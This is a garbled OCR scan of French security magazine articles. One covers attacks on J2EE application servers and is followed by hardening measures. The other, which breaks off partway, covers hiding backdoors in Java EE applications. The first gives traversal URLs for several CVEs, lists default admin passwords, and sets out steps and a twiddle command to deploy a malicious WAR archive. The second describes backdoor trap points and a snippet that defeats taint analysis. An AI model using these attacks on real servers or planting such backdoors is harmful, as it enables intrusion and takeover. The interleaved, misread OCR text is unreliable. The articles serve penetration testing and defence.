ce dont il conviendra MBean Name.  Domain Name: jboss deployer
2 tout le contexte du serveur
de se rappeler pour I RS e S MDAV o R DV ey Web. Pour étre clairs, nous
la suite. i ek st pourrons sortir de I'appli-
Il faudra tenter g e cation dans laquelle nous
; M imapame i i H #
d’accéder in fine a naviguons pour accéder
List of MBean aftributes: y ' ) i
la console d'admi- | g ——— e ——TT—— TN e e
: : i SwieSwng  javalang Sting R Sianed MBean Atmibute déployées sur le serveur
nistration du ser i - Gl R pioy
RelatveOrer  ini LR MBean Ambuite. Web. Comme évoque pré-
veur J2EE et/ou de | G g e * S 1 MBean Amibue. e
ServiceName  javax.management ObjectName R jboss deployer service=BSHDeployer view MBeen MBean Ambute : TR 3
E].'{'iST.EJ - les deux per- EnhaticedSuMxes [Liavalang Saing. RW  [oo-bsr y MBean Atmbute d’administration est une
Lpply Chorspes |

mettent de déployer
des applications
Web.

Mauvaise configuration

2' |-1

de I'infrastructure
d’hébergement

Le premier cas est tout a fait trivial, mais il mérite bien
évidemment d’étre controlé : les choses les plus simples sont
parfois les plus efficaces. Tout simplement, il arrive réguliere-
ment que les consoles d'administration soient disponibles a la
racine de 'URL.

Le second cas, a peine plus compliqué, demande seulement
de changer le nom DNS par l'adresse IP dans 'URL et 'index
par défaut du serveur d’applications apparait. Bref, un petit coup
d'énumération de chemins avec les bons mots-clefs se révéle
occasionnellement fructueux.

La source du probleme correspond souvent a une mauvaise
configuration des régles de filtrage du reverse-proxy et/ou du
serveur HTTP. Il peut étre intéressant d’appliquer un filtrage
sur des plages d'adresses IP pour chaque application déployée.
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permettant d'acceder a une console dadmimstration de JBoss

application a part entiere,

Fig. 3 : Un exemple dexploitation de la premiére directory traversal

il sera donc éventuellement

possible d'y accéder via des

directory traversal.

Trois vulnérabilités connues sont réguliéerement mises a
contribution [PIRTRAV] :

~# La premiére concerne un directory traversal datant de debut
2007 (CVE-2007-0450) : elle affecte tous les Tomeat jusquaux
versions 5.5.23 et 6.0.10 (exclus). Voyons ce que cela donne :
http://www.victime.com/app/%5C../manager/
html/list,
http://www.victime.com/app/%5C../jmx-console/

—# La deuxiéme est intéressante des que le connecteur nod_jk
de version inférieure a 1.2.23 est installé (CVE-2007-1860) :
http://www.victime.com/app/%252e%252¢/
jmx-console/

—@ La troisiéme est liée au décodage d’'UTF8 dans la machine
virtuelle Java. Celle-ci date de mi-z008 (CVE-2008-2938).
Voici un exemple :
http://www.victime.com/app/%co%ae%co0%ae/
jonasAdmin/login.jsp




Encore une fois, il faudra passer par une énumeération de
chemins, avec les directory traversal dans le cas présent.

Bien entendu, les derniéres versions des serveurs J2EE inteé-
grent des versions de Tomcat et de la machine virtuelle Java qui
ne sont plus vulnérables. Cependant, cela ne correspond pas
vraiment a ce que nous avons 'habitude de voir ici ou la. En
effet, il arrive souvent quune plate-forme fraichement déployée
utilise un serveur J2EE intégrant des versions de Tomcat ou de

la JVM qui ne sont pas des plus récentes.

2.2 Acces a la console d’admi-

nistration

Une fois que nous avons identifié la présence d'une console

d’administration, une authentification est requise pour y accé-
der dans la plupart des cas. Mais, la aussi, nous assistons régu-
litrement a quelques gags...

2.2.1 Mots de passe par défaut

En premier lieu, évoquons les mots de passe par défaut : cela
semble étre une spécialité des éditeurs de WAS... En 'occur-
rence, voici quelques exemples collectés apres une installation
par défaut de la plupart des serveurs d'applications :

admin / (NULL)
admin / admin

admin / tomcat

tomcat / tomcat

jonas / jonas

etc.

Exemples d'identifiants trouvés sur les serveurs J2EE

Lextrait de la configuration de JOnAS montre les comptes par
defaut inclus par le produit apreés installation. Notez qu'il s'agit
de la derniére version stable a la date de rédaction de l'article :

<yser name="tomcat" password="tomcat" roles="tomcat,jonas-
admin,manager" />

<user name="jetty" password="jetty" roles="jetty" />

<l-- Example of a crypt password : password for jadmin is : jonas -->

<yser name="jadmin" password="{MD5}nF3dVBB3NPfRgzW1JFwoaw=="
roles="jonas-admin" />

<user name="jps_admin" password="admin" roles="administrator" />

<user name="supplier" password="supplier" roles="administrator" />

<l-- Another crypt example in another format : password is jonas -->

<l-- Jonashdmin uses name="jonas" password="jonas" -->

<user name="jonas" password="SHA:NaLG+u¥fgHeqth+q0BlyKr8FCTw="
groups="jonas" />

<user name="monitor" password="SHA;NaLG+uYfgHeqth+qQB1yKrBFCTu="
roles="jonas-monitor" />

<user name="principall" password="passwordl" roles="rolel" />

<user name="principal2" password="password2" roles="role2" />
Extrait de la configuration de JOnAS (derniére version d ce jour)

Il apparait nécessaire d'effectuer une tache de durcissement

apres installation avant d'utiliser un tel produit. C'est mal-
heureusement le cas sur la majorité des produits disponibles.

Un bon point pour WebSphere qui est a peu prés le seul a

demander la définition d'un mot de passe a 'administrateur
lors de I'installation.

2.2.2 Spécificités de JBoss

JBoss possede deux consoles d'administration :

—M la web-console qui révele beaucoup d'information, mais ne

permet que peu d'interaction (ou pas...) ;

~# la jmx-console qui permet d'interagir avec le serveur J2EE
et ainsi de modifier sa configuration.

Depuis Jboss 5, une nouvelle console est apparue. Nommée
« administration console », elle reprend les standards des autres
serveurs d'applications. Bien siir, des comptes par défaut sont
activés apres l'installation pour y accéder... Pas de changement
a ce niveau, la nouvelle console permet bien siir le déploiement
d’archive WAR.

.2.1 Par défaut, pas de mot de passe...

Contrairement aux autres serveurs d’applications qui pro-
tegent l'acces a leur console par un couple login/mot de passe
(méme s'ils sont génériques), chez JBoss, par défaut, aucun mot
de passe n'est assigné a la Web console ou la console JMX ! Or,
cette derniére propose notamment la fonction DeploymentScanner
dans laquelle il est possible d'injecter un WAR arbitraire a dis-
tance et ainsi deployer une nouvelle application. Pour exploiter
cette fonction, il faudra que le serveur JBoss puisse initialiser
une connexion TCP sortante vers un serveur HTTP o1 se trou-
vera notre WAR.

Si cela n'est pas réalisable a cause dun pare-feu qui filtre-
rait toutes les connexions sortantes, nous utiliserons une autre
fonction : £SHleployer qui permettra d'envoyer un fichier a dis-
tance. Le succes de cette attaque demande de respecter une
démarche en plusieurs étapes :

1.

Encoder le WAR malicieux en base 64. Cette contrainte
demandera certainement a alléger votre code malicieux s'il

est de taille trop importante.

Ecrire un programme en JAVA dont le but sera d'une part de
decoder le WAR et, d'autre part, de le placer dans un empla-
cement connu du systéme de fichiers (ex : le répertoire /tnp).

3: |11 faudra ensuite entrer dans la console JMX, y trouver la

fonction 85H0eployer, puis mettre notre code Java (sans sauts
de ligne) dans la fonction createScriptieployenent et fournir le
nom de notre fichier WAR malicieux (sans I'extension qui

sera concatéenée automatiquement).

4-| Notre WAR malicieux sera alors disponible sur le systéme
de fichiers du serveur : il suffira done de le déployer via la
fonetion DeploymentScanner.
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La console JMX est protégée par un

mot de passe

Les deux attaques présentées précéedemment posent comme
hypothese que la console JMX n’est pas protégée par un mot
de passe ou alors que le mot de passe est trivial (cf. § 2.2.1).
Dans le cas contraire, nous devrons utiliser une autre interface,
RMI (Remote Method Invocation). Le service associé tourne par
défaut sur le port TCP/4444. Cest pourquoi nous n'aurons que
tres peu de chance de l'atteindre depuis l'externe si le pare-feu
est correctement configure.

Pour communiquer avec I'interface RMI, nous avons besoin
de 'outil twiddle, fourni dans le package d’'installation du serveur
JBoss. Une seule ligne de commande est nécessaire pour injec-
ter le code malicieux et nous amener aux mémes résultats que
si nous étions passés par la console JMX :

twiddle.bat -5 www.victime.com invoke "jboss.system:service" deploy
“myapplication.war"

Mais que se passe-t-il si I'acces a l'interface RMI n'est pas
disponible ? Par exemple, parce que le port est tout simplement
filtreé par un pare-feu. Tout n'est pas perdu pour autant. Il existe
encore deux méthodes, au moins, pour compromettre le serveur
d’applications. Ces deux attaques ont été démontrées par les
consultants de RedTeam & maintes occasions [REDTEAM].
Elles visent :

-~ dans le cas ou la Web Console ne serait pas proté-
gée par un mot de passe, a pouvoir atteindre direc-
tement la fonctionnalité [nvoker (il s’agit de la classe
org.jboss.console.remote. InvokerServiet) accessible depuis la web-
console. Ce module a la particularité de pouvoir initier des
commandes JMX et ainsi déployer notre WAR malicieux via le
BSHDeployer :

/web-console/Invoker

~#l dans le cas ou tout est protégé par un mot de passe, a pouvoir
atteindre une Servlet installée par défaut : JMInvokerServiet (il
s'agit de la classe org. jboss.invocation.http.serviet. InvokerSerylet)
qui offre approximativement les mémes fonctionnalités que

—

la précédente :

Vulnérabilites lices aux serveurs dapplications J2EE

Comme évoque precédemment, une tache de durcissement
est réellement nécessaire avant de déployer un tel serveur
J2EE. Le guide Securing JBoss [SECJBOSS] détaille toutes
les opérations a mener pour se prémunir des attaques décrites
préecédemment.,

2.3 Les cas particuliers

Lors d'un test d'intrusion sur une application Web héber-

gée sur un serveur J2EE, il sera bien évidemment intéressant
de tenter d’accéder aux interfaces d’administration du ser-
veur d'applications. Sont relatés ici deux cas distincts qui ont
fait l'objet d'exploitation des vulnérabilités liées aux serveurs
d’'applications.

2.3.1 L’accés a la console

d’administration timeout

Le cas décrit dans ce chapitre a pu étre rencontré deux fois.
A chaque fois, il s’agissait de serveurs JOnAS.

Prenons une application disponible a 'URL suivante :
http://www.victime.com/app/
Une redirection forcée vers 'URL citée lorsque nous tentons

d'accéder a « http://www.victime.com ».

Nous arrivons d'une maniere ou d'une autre a identifier
qu'une console d’administration existe tel que décrit dans la
partie « 2.1 A la recherche de la console d'administration ». Dans
le premier cas, il suffisait de remplacer www.victime.com
par son adresse IP et I'index par défaut de JOnAS apparaissait.

Dans le second cas, il suffisait d'exploiter une vulnérabilité
liée a Tomcat ayant pour but de forcer le listing des répertoires.
La seule action requise consistait a concaténer un « ; » al'URL
de la cible (CVE-2006-3835) :

http://www.victime.com/;

Bref, la page par défaut de JOnAS apparait. Celle-ci nous
propose un lien vers la console d'administration, a savoir :

http://www.victime.com/jonasAdmin/.

finvoker/IMXInvokerServiet @
Bien stir, toutes les techniques
pour y accéder se doivent d’étre tes-

4 \g.;i

|| Integrated Solutions Console

ﬂl i | DHp /emmmsmsem ottt - ISP

L] Launch commands in Jopt/IBM/WebS . G L]

tées, (cf. : chapitre 2.1). Ces classes
sont parfaitement documentées par

JBoss [INVOKER] : il est donc

uid=1000(virtugser) gid=100({usera) groups=l6{dialout) .,33i{video) .100{users}

assez aisé de les exploiter. A noter e

que RedTeam a créé quelques scripts

Launch | Cancel i

a cet effet : ils ne sont pas dispo-
nibles publiquement.
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Fig. 4 : Exécution de code sur le systéme via une application malicieuse packagée dans

larchive WAR qui a été déployée




Manque de chance, notre navigateur émet un timeout. Un
petit coup d'eeil a notre proxy local nous informe que le lien
suivant est codé en dur dans les pages HTML renvoyées :

<base href="http://www.victime.com:9008/jonasAdmin/Togin. jsp">

On se doute donc que la console d'administration est dispo-
nible en interne sur le port TCP/g000. Cela ne nous arrange pas,
car ce port est filtré depuis l'extérieur. Quelques essais manuels
indiquent cependant qu'il est toutefois possible de forcer l'accés
sur le port 8o. En remplacant a la volée la valeur du port dans
tous les liens renvoyés par le serveur, il sera ainsi possible d’ac-
ceder a la page d’authentification de la console d'administration.

Pour la suite, « jonas/jonas » sur le formulaire d’authentifi-
cation, et la, c'est le drame... Uattaquant est alors en mesure de
déployer son archive WAR malicieuse et prendre la main sur le
systeme avec les priviléges de I'utilisateur sous lequel tourne le
serveur d'applications.

2.2.2 Releve dinformation

Il arrive parfois que I'accés & la console d’administration ne
soit pas possible :

— soit du fait d'un filtrage sur I'adresse IP source ;

-l soit parce que les mots de passe d’acces ont été redéfinis
selon une politique forte.

Néanmoins, nous rencontrons regulierement des outils de
monitoring installés par defaut ou une console Tomeat toujours

® DOSSIER

accessibles. Nous pourrons pour cela employer tous les moyens
disponibles qui ont été vus précédemment, que ce soit le fait
que I'environnement d'hébergement ait été mal configuré, les
directory traversal, ete.

Typiquement, l'outil de monitoring de JBoss :

http://www.victime.com/status?full=true

Cette application liste en temps réel toutes les requétes
HTTP effectuées sur le serveur.

La console Tomcat :

http://www.victime.com/app/%5C../manager/html/list

A partir de Tomeat 5, il est possible d’envoyer a distance une
archive WAR directement via cette interface. Ce n'est pas le cas
pour les versions antérieures pour lesquelles il faudra déposer
I'archive sur le systéme de fichiers auparavant pour la déplover.

Ces deux applications ont la particularité de divulguer des
informations intéressantes, notamment d’indiquer le chemin
des applications déployées. Nous serons ainsi en mesure d’ac-
céder aux autres applications. Si par malchance un systeme
d’hotes virtuel ou de filtrage suivant ’adresse IP source est
mis en place, il sera toujours possible d'utiliser une directory
traversal. Le but est de s'extraire du contexte des applications

-~ auxquelles nous avons acceés et ainsi d'en atteindre d’autres.

L'attaquant ira donc inspecter ces nouvelles applications
présentes sur le serveur pour voir si elles ne sont pas sujettes a
des failles intéressantes pour lui...

3. Mesures de sécurite

Si nous venons de voir que de nombreuses attaques sont pos-
sibles sur les plateformes J2EE, il n'en reste pas moins que des
solutions simples permettent d'éviter les attaques les plus faciles.

3.1 Les mesures de sécurité

basiques

Comme toute application Web, des mesures basiques doivent

etre scrupuleusement respectées avant d'effectuer une confi-
guration securisee des plateformes J2EE. En effet, les failles
de sécurité présentées plus haut ont montré que des mesures
qui pourraient pourtant paraitre évidentes sont parfois man-
quantes. Le risque direct est que les attaques possibles sont a la
portée d'un attaquant sans compétence particuliére.

3.1.1  Définir une politique de mot

de passe

Pour commencer, aucune interface d'administration ne
devrait rester sans mot de passe. De plus, vérifiez que toutes les

interfaces sont protégées. En effet, s'il existe plusieurs moyens
pour accéder a la console d'administration, ils doivent tous au
moins bénéficier d'un mot de passe qui ne soit pas trop faible.
Les documentations de chaque solution aideront grandement

aussi dans cette demarche.

Reéduire la surface d’attaque

3.1.2

Dans un deuxieme temps, nous pouvons limiter les risques
en desactivant les services inutiles. Typiquement, WebSphere
offre plusieurs services permettant d’accéder a l'interface alors
qu'un seul devrait suffire. Quant a JBoss, la désactivation ou du
moins la protection de I'interface RMI ainsi que les « Invokers »
limite les risques d’attaque, surtout si la console JMX est cor-
rectement protégée.,

3.1.3 Seécuriser les communications

Il parait évident aujourd’hui que I'authentification doit repo-

ser sur des protocoles fiables et sécurisés tels que SSL/TLS.
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Or, nous avons pu remarquer que la plupart des serveurs d’ap-
plications, par défaut, ne proposent pas de communications
chiffrées et toutes les authentifications aux consoles d’'adminis-
tration sont transmises via le protocole HTTP, et donc en clair.

Si, par défaut, WebSphere impose le chiffrement des com-
munications avec un certificat généré lors de I'installation, I'ad-
ministrateur devra importer ce certificat dans son navigateur
afin de rendre réellement efficace ce mécanisme de sécurité.

3.2 Les mesures de filtrage

Différentes mesures de filtrage s'avérent opportunes pour
relever le niveau de sécurité de 'infrastructure liée au serveur
d’applications.

3.2.1 Cloisonnement réseau

approprieé

Un serveur J2EE est souvent considéré comme un systéme
sensible du fait des informations qu'il traite. Il doit done étre
protégé en conséquence au niveau réseau. Tout simplement, il
devra bénéficier d'un cloisonnement adéquat. Plus précisément,
cela signifie que les consoles d’'administration ne devraient pas
étre accessibles directement depuis Internet (contrairement a ce
qui a été vu tout au long de cet article). Clairement, un pare-feu
devra donc filtrer les ports concernés pour qu'ils ne soient acces-
sibles qu'aux administrateurs, voire pas du tout : par exemple,
avons-nous vraiment besoin de l'interface RMI sur JBoss ?

3.2.2 Utilité d’un reverse-proxy

Comme nous avons pu le voir, nous ne pouvons pas réduire
le serveur d'applications a la solution J2EE uniquement, car

Vitlnérabilités liées aux serveurs dapplications J2EE

il est fortement dépendant d’autres brigues. Afin d’appor-
ter une réelle sécurisation, il est donc nécessaire de se pré-
munir des failles potentielles qui peuvent étre présentes sur
le conteneur Tomcat, par exemple, ou la machine virtuelle
Java. Pour éviter des attaques de ce type, il est important
de bien paramétrer son reverse-proxy afin qu'il impose les

restrictions suivantes :

—#l interdire l'acces aux répertoires qui ne sont théoriquement
pas utilisés par les applications auxquelles I'utilisateur peut
léegitimement accéder ;

-8 parameétrer des régles matchant les différentes directory
traversal.

3.2.3 Filtrer 'acces aux applications

En complément des mesures précédentes, il est aussi pos-
sible d’agir au niveau du serveur d’applications lui-méme. En
effet, Tomcat permet de définir des ACL par adresses IP sources.
Typiquement, il serait opportun de définir un filtrage de sorte
que seules les adresses IP correspondant aux administrateurs
soient autorisées. Cette configuration s'effectue dans le fichier
context.xml de Tomcat (cf. [SECJBOSS]).

3.2.4 Protections au niveau de la

machine virtuelle

Pour aller plus loin, des restrictions peuvent étre appliquées
directement au niveau de la machine virtuelle Java pour inter-
dire certaines fonctions comme décrit dans le papier de Philippe
Prados [ MACARON | ou encore les politiques proposées par
le Security Manager.

Conclusion

Les serveurs d'applications J2EE se sont répandus trés vite
dans les entreprises, mais, encore une fois, la sécurité n'a pas
été la priorité des intégrateurs et des équipes en charge des
infrastructures WAS. Dans le lot, des applications Web critiques
reposent sur ces serveurs J2EE dont les vecteurs d'attaque sont
nombreux, car les briques sont multiples et les chances de vul-
nérabilités importantes. De plus, ces vecteurs sont réguliére-
ment simples a exploiter comme nous avons pu le voir. Dans
certains cas, ceux-ci sont dus a une configuration par défaut et/
ou mauvaise configuration de l'environnement d’hébergement.
Par ailleurs, d’autres faiblesses dues a un niveau de patchs insuf-
fisant sont trés intéressantes pour un attaquant et relativement
fréquentes ; ce phénoméne peut s'expliquer par plusieurs hypo-
theses selon les cas :
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-l Contraintes du fait d’'un intégrateur qui supporterait une
application metier sur une version precise d un environne-
ment exclusivement.

- Le fait quil s'agisse d'un produit tiers souvent installé a la
main et ne faisant pas partie des packages du systéme. Le
serveur J2EE n'est donc pas maintenu et passe souvent a
travers le processus de patch management.

~—# Les éditeurs qui font évoluer parfois lentement leur version
« Stable » (par exemple JOnAS Stable continuait a étre
distribué avec un Tomcat 5.1.10 jusqu’en février 2008, soit
11 mois aprés la publication du patch !).

~#l Toute raison pouvant aboutir & un niveau de patch
médioere.




La réunion de ces éléments amplifie les possibilités pour
un attaquant. Ce dernier se retrouve alors dans une position
assez favorable.

Le lecteur curieux pourra se rendre compte qu'un moteur

de recherche avec la bonne requéte peut suffire a trouver des

cibles vulnérables...
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oixante-dix pour cent des attaques viennent de l'intérieur de l'entreprise.
Laffaire Kerviel en a fait une démonstration flagrante. Les projets JavaEE sont
trés présents dans les entreprises. Ils sont généralement développés par des
sociétés de services ou des prestataires. Cela représente beaucoup de monde pouvant
potentiellement avoir un comportement indélicat. Aucun audit nest effectué pour vérifier
quun développeur malveillant ou qui subit des pressions na pas laissé une porte dérobée
invisible dans le code. Nous nous placons dans la peau d'un développeur Java pour étudier
les différentes techniques dajout d une porte dérobée a une application JavaEE, sans que
cela ne soit visible par les autres développeurs du projet.

1. Introduction

De nombreux employés d'une entreprise ne sont sou- 4 l'insu de l'application ? Pour s'injecter dans le flux de
vent pas des employés de l'entreprise elle-méme mais des traitement et ainsi capturer toutes les requétes HTTP ?
sous-traitants, L'entreprise confie donc son patrimoine A toutes ces questions, nous proposons des réponses.
informatique a4 des mains étrangéres... pour lesquelles il Pety vilins e dénionstrations sont diffusées.
est pratiquement impossible de garantir 'absence de mal- La premiére est une simple démonstration de la puis-
veillance (quelles qu'en soient les raisons : vengeance, pres- sance de la porte dérobée, la seconde explique de
sion, chantage ou autres). plus comment se protéger contre ce type de menaces.

Quelles sont les techniques utilisables par un développeur Elles sont disponibles, ainsi que les outils, ici :
Java pour cacher un code malicieux ? Pour exécuter un trartement http://macaron.googlecode.com.

2. L’objectif du pirate

Du point de vue du pirate, une porte dérobee doit :

—~8 Résister aux évolutions futures du code : il ne doit pas

~@ Résister a un audit du code de 'application, sinon chaque y avoir de dépendance directe avec le code existant.
développeur qui participe au projet peut fortuitement la Une évolution de I'application ne doit pas faire échec
découvrir . a la porte dérobée .
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~# Contourner le pare-feu réseau et le pare-feu applicatif (Web
Application Firewall — WAF). La communication avec la
porte dérobée doit étre invisible ou difficilement discernable
d'un flux légitime.

—# Contourner les outils d'analyse de vulnérabilité dans le byte-
code, par propagation de teinture sur les variables.

De ce cahier des charges, nous avons recherché différentes
techniques pour atteindre tous les objectifs que nous nous
sommes fixes.

Pour résister a un audit, le code de la porte dérobée ne doit
pas étre présent dans les sources. Lapplication ne doit pas I'in-
voquer directement. Ainsi, la porte est généralement exclue des
audits. Pour cela, il faut que la simple présence d'une archive,
considérée a tort comme saine, suffise a déclencher I'attaque.

Pour ne pas dépendre de I'évolution du code applicatif, le
code doit utiliser des attaques génériques, fonctionnant quelle
que soit I'application.

3. Implémentation

Le code de la porte dérobée doit suivre plusieurs étapes pour
s'installer définitivement dans le serveur d'applications et étre
capable de détourner le flux des traitements. Ces étapes sont
détaillées ci-dessous par ordre chronologique :

~#l piege de 'application ;
—M# injection dans le flux de traitement des requétes http ;
—l détection de 'ouverture ;

~il communication discréete.

3.1 Les pieges

La premiére étape consiste a initialiser la porte dérobée. Elle

doit démarrer alors que le code applicatif ignore sa présence.
Pour cela, il faut utiliser des piéges pour permettre une exécu-
tion de code par la simple présence dune archive JAR,

Les pieges sont des traitements cachés, exécutés a I'insu de
l'application. Le code applicatif ou le serveur d’applications n'a
pas a invoquer explicitement du code pour permettre l'exécution
de traitements malveillants.

Différentes techniques de pieges ont été découvertes lors
de I'étude. Plusieurs stratégies sont possibles pour les réaliser :

~# ajout d’'un fichier de paramétrage ;

—# exploitation des « services » ;

M exploitation de la programmation par aspects (AOP) ;
—# exploitation d'un « Ressource Bundle » ;

—# exploitation des annotations.

DOSSIER

Pour contourner les pare-feu, le code doit simuler une navi-
gation d'un utilisateur. Il doit respecter toutes les contraintes
sur les URL, les champs presents dans les requétes, le format
de chaque champ, etc. Il ne peut pas ajouter de nouvelles URL
ou de nouveaux champs.

Pour contourner les outils d’analyses de byte-code’ 4 la
recherche de variables non saines lors de I'invocation de trai-
tements risqués, il faut utiliser une écriture de code spéci-
fique, cassant la propagation de la teinture sur les variables. La
methode ci-dessous casse la propagation des teintures simple-
ment en changeant le type de la donnée :

private static String sanitize(String s)

{
char[] buf=new char[s.length()];
System.arraycopy(s.toCharArray(), 8, buf, 8, s.length()):
return new String(buf);

}

3.1.1 Piege par « paramétrage »

De nombreux frameworks sappuient sur des fichiers de
parameétrages indiquant des noms de classes. Certains recher-
chent des fichiers de parametres a différents endroits dans les
archives. En placant un fichier de paramétres dans un lieu prio-
ritaire, il est possible d’exécuter du code.

3.1.1.1 Piege du parameétrage « Axis »

Le premier exemple est le framework Axis de la fondation
Apache. Cest un framework permettant I'invocation et la publi-
cation de services Web. Il recherche les fichiers de configuration
dans I'ordre suivant (voir la classe EngineConfigurationfactoryServiet) :

—Ml Fichier <warpath>/NEBINF/<param.wsdd>
-8 Ressource /WEBINF/<param.wsdd>
-l Ressource /<param.wsdd>

La présence du fichier dans /WEBINF d'une archive quelconque
suffit 4 exécuter du code lors de I'invocation du premier ser-
vice Web. Comme ces fichiers sont rarement modifiés par les
projets, il y a peu de chance qu'il y ait un conflit avec une autre
fonctionnalité du projet.

3.1.1.2 Piege par parameétrage de services

Les spécifications des JAR® proposent d'utiliser le réper-
toire METALNF/services pour signaler la présence de composants
a intégrer. Un fichier UTF8 dont le nom est généralement le
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nom d'une interface, posséde une ligne de texte avec la classe

proposée pour 'implémenter.

Jusqu'au JDK35, cette technique n'est pas outillée par des
API du JDK. Chaque projet désirant utiliser cette convention
doit écrire un code spécifique. Le JDK6 offre une nouvelle API.

Généralement, le programme demande la ou les ressources
correspondant a une clef. Le fichier est lu et une instance de la
classe indiquée est alors construite.

Par exemple, le framework comnons-10ggins de la fondation
Apache utilise cette convention pour initialiser le LogFactory.
L'algorithme de découverte suit plusieurs étapes :

1. | Recherche de la variable d'environnement
org.apache.commons.logging.LogFactory

Sinon, recherche d'une ressource
METAINF/services/orq.apache.commons.logging.LogFactory

3- | Sinon, lecture de la ressource comnons-1ocging. properties pour
y trouver la clef org.apache.commons.logging.LogFactory

4- | Sinon, utilisation d'une valeur par défaut :
org.apache.commons.logging.impl.LogFactorylmp]

La deuxiéme étape est la plus intéressante pour le pirate.
En effet, en diffusant une archive avec ce fichier, il est possible
d'exécuter du code. Ce dernier doit continuer le processus avec
les étapes 2 & 4 pour rendre invisible sa présence.

D’autres frameworks standards utilisent la méme approche,
parmi lesquels :

—3 META-INF/services/javax.xml.parsers,SAAParsertactory
—8 META-INF/services/javax.xml.parsers.DocumentBuilderfactory
—3 META-INF/services/org.apache.axis.EngineConfigurationFactory

11 est donc aisé de publier ces fichiers pour injecter du com-
portement. Les portes d’'entrées de ce type sont légions :

http://www.google.com/codesearch?q=METAINF
+providers

En positionnant plusieurs piéges équivalents, la probabilite
d'exécution de la porte dérobée est élevee.

Pour se protéger de I'injection d'un analyseur XML, il faut
démarrer la JVM en ajoutant des parameétres permettant d'évi-
ter la sélection dynamique de I'implémentation.

—3 Djavax.xml,parsers,SAXParserFactory=\
com.sun.org.apache.xerces.internal, jaxp,SAXParserFactorylImp]

—88 Djavax.xml.parsers.DocumentBuilderfactory=\
com,sun.org.apache.xerces.internal. jaxp.DocumentBuilderFactoryImpl

Cette vulnérabilité a été rapportée aux développeurs concer-
nés et fait 'objet du CVE-2009-0911.
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3-1.1.3 Piege par parametrage d’Aspect

La troisiéme technique de piége consiste a utiliser les technologies
innovantes de programmation par aspect. Il s’agit d'une technique
de tissage de code sur des critéres syntaxiques du code du projet.

Les frameworks de programmation par Aspect recherchent
la présence d'un fichier /METAINF/a0p.«n] dans chaque archive. Ce
dernier permet I'exécution automatique d'un code Java. Il suffit

d'avoir une archive avec ce fichier pour exécuter du code.

3.1.2 Piége par ResourceBundle

Pour gérer les messages en plusieurs langues, Java utilise
des ResourcesBundles. L'algorithme recherche un fichier properties
suivant différents critéres de langues et offre alors un ensemble
de clefs/valeurs.

ResourceBundie.getBundle( "Messages").get("hello")

L'algorithme recherche un fichier en ajoutant un suf-
fixe formé de la langue et de sa déclinaison pour le pays. Par
exemple, pour la France, le suffixe est fR_fr, pour la Belgique
_FR_be. 8’1l ne trouve pas de fichier, I'algorithme supprime des
éléments du suffixe progressivement jusqu’a localiser un fichier
pour la langue. Si rien n'est trouvé, une version sans suffixe
est recherchée. —

Fig. 1 : Lecture de properties

Bien que cela soit peu

connu, l'algorithme est

Fig. 2 : Lecture de

en fait plus complexe. I properties avec classes
recherche également des

classes de méme nom avant de rechercher les fichiers .properties,

Il est done possible, en ajoutant une simple classe, d'exécuter

du code lors du chargement dune ressource.

De nombreux frameworks utilisent des Resourcesfundies, Une

requéte avec google/codesearch montre I'étendue des possibilités :

http://www.google.com/codesearch?q=Resource
Bundle.getBundle+lang%3Ajava

11 suffit d'ajouter une classe de méme nom qu'un fichier
de ressource pour que le piége se déclenche 4 I'insu de l'ap-
plicatif. Lors d'un traitement anodin comme le chargement
d’un fichier de clef/valeur, la porte s'installe dans le systeme.

e




En choisissant judicieusement les piéges, la probabilité d'exécu-
ter le code d'initialisation de la porte dérobée est forte. En effet,
plus aucun projet ne se passe de composants open source ou non.

Si un RessourceBundle est utilisé dans un code privilégié, la
classe de simulation peut alors bénéficier des privileges.

Cette vulnérabilité est également concernée par le
CVE-2009-0911, précédemment mentionné.

3.1.3 Piege par annotations

De plus en plus de frameworks utilisent les annotations pour
identifier des classes et des instances a initialiser. C'est un objec-
tif de 'annotation : réduire le paramétrage. En exploitant les
annotations utilisées par les différents frameworks, il est pos-
sible d’ajouter une classe qui sera automatiquement invoquée.

Par exemple, le framework Spring construit des instances
des classes étant annotées de @Conponent ou @Repositery. La
contrainte est qu’il faut déclarer une classe dans un répertoire
consulté par l'application lors de son initialisation.

<context:component-scan base-package="org.monprojet"/>

Linconvenient de ce piége est qu'il exige de connaitre le
nom de la branche du projet ot seront recherchés les différents
composants. Sans modification du fichier ou capture de I'ana-
lyse par le parseur XML, il n'est pas possible de proposer un
piege générique exploitant cette fonctionnalité. En revanche,
un développeur du projet n’a aucune difficulté a proposer un
code d'attaque adapté.

Avec les spécifications Servlet 3.0, chaque classe possé-
dant une chaine de caractéres Ljavax/serviet/annotation/WebSerylet;
sera instanciée par le serveur d’applications. En effet, c'est la
technique utilisée pour identifier les classes possédant une
annotation @WebSeryiet,

3.2 Les techniques d’injection

Le code de la porte dérobée doit étre injecté dans le flux de
traitement de l'application. L'idéal est d’'analyser chaque requéte
HTTP pour y détecter une clef spécifique ouvrant la porte.

Il existe différentes [
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Plusieurs stratégies permettent cela. Chacune est plus ou
moins fonctionnelle snivant le contexte d'exécution :

-8 modifier le fichier web.xn! du cache de Tomcat ;
~@ ajouter dynamiquement une valve Tomcat ;
~# injecter du code en AOP ;

—M injecter du code dans les frameworks ;

~# injecter une Servlet 3.0 ;

~l injecter du code lors de la compilation.

3.2.1 Injection par

« ajout d’un filtre »

Le serveur Tomecat décompresse les archives (WAR, EAR)
des composants dans un répertoire de travail. Ce dernier est
rafraichi si le composant applicatif posséde une date plus
récente. Le démarrage de la porte dérobée doit retrouver le
fichier web. xn! du cache de Tomeat, injecter un filtre JavaEE dans
ce dernier et attendre le redémarrage du serveur d’applications.

Notez que les nouvelles spécifications des Servlet 3.0 per-
mettent d’ajouter dynamiquement des filtres ou des servlets.

ServletContext.addFilter(...)

De plus, les web-fragments permettent d’ajouter encore plus
facilement des filtres ou des servlets, en déclarant un fichier
META-INF/web-fragment.xmi.

<web-fragment>
<filter>

</filter>
</web-fragment>

3.2.2 Injection par ajout d’une

« valve »

Tomcat propose également des valves. Ce sont des filtres
specifiques pouvant étre ajoutés dynamiquement via une
requéte JMX. JMX est une technologie de consultations et de
manipulations des parametres du serveur, lors de son exécution.

Pour ajouter une valve, il faut
construire une instance héritant de

techniques pour injecter

Filtre

du code dans le processus

web.xm
de gestion d'une requéte e
HTTP. Le schéma sui-
vant indique le flux de
traitement standard d'un
composant JavaEE de o

type Web. Les différents Vaive lavaEE
points d'insertions pos-

sibles sont représentes.

Sendel

Fig. 3 : Pmnt d'insertions

/alveBase avant de l'installer dans le
serveur via une requete JMX.
AutoProxy

.2.3 Injection

par XML

